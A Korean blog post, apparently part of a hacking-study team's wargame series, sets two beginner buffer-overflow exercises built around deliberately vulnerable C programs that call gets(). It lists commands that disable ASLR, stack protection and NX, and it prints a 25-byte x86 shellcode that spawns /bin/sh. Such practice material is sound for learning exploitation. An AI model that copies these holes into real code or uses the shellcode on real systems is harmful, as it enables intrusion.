안녕하세요! 이번에는 pwnable에 대한 기초적인 문제를 만들어 보았습니다.
pwnable 1
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
int main()
{
int key;
char buf[50];
printf("buf: 0x%p key: 0x%p\n", &buf, &key);
fflush(stdout);
gets(buf);
fflush(stdout);
if (key == 0x44454144)
system("/bin/bash");
}
아래와 같이 ASLR기법을 해제하고 컴파일을 하여 32비트로 컴파일하면서 NX가 적용되지 않도록 해줍니다. NX비트의 적용방법으로는 아래의 주석과 같습니다.
sysctl -w kernel.randomize_va_space=0
gcc -m32 -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack -no-pie -o buf1 buf1.c
// NX 미적용
// gcc -m32 -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack -no-pie -o buf1 buf1.c
// NX 적용
// gcc -m32 -fno-stack-protector -mpreferred-stack-boundary=2 -no-pie -o buf1 buf1.c
no-pie옵션을 준 것은 PIE가 아닌 일반 실행파일을 만들기 위해 적용시킨 것입니다.
pwnable 2
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
int main()
{
char buf[100];
printf("ptr : %p\n", buf);
gets(buf);
return 0;
}
이번 문제도 pwnable 1과 같이 파일이름만 다르게 하여 컴파일을 해주고, 쉘코드를 삽입한 후 ret주소를 바꾸는 방식으로 권한을 얻으면 될 것입니다.
25바이트 쉘코드
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
쉘 코드는 위와 같습니다.
간단하게 문제를 보았는데 잘못된 부분이 있으면 알려주시면 감사하겠습니다!🙇♂️
'TeamH4C_ProjectH4C > 워게임' 카테고리의 다른 글
[TeamH4C_PWNABLE] 시스템 해킹_연습문제9 (0) | 2021.04.11 |
---|---|
[TeamH4C_PWNABLE] 시스템 해킹_연습문제6 (2) | 2021.04.11 |
[TeamH4C_PWNABLE] 시스템 해킹_연습문제1-4 (0) | 2021.04.04 |
[TeamH4C_FTZ] Level1 ~ Level5 (0) | 2021.03.28 |
[TeamH4C_HackCTF] 시스템 해킹_기초문제 (0) | 2021.03.21 |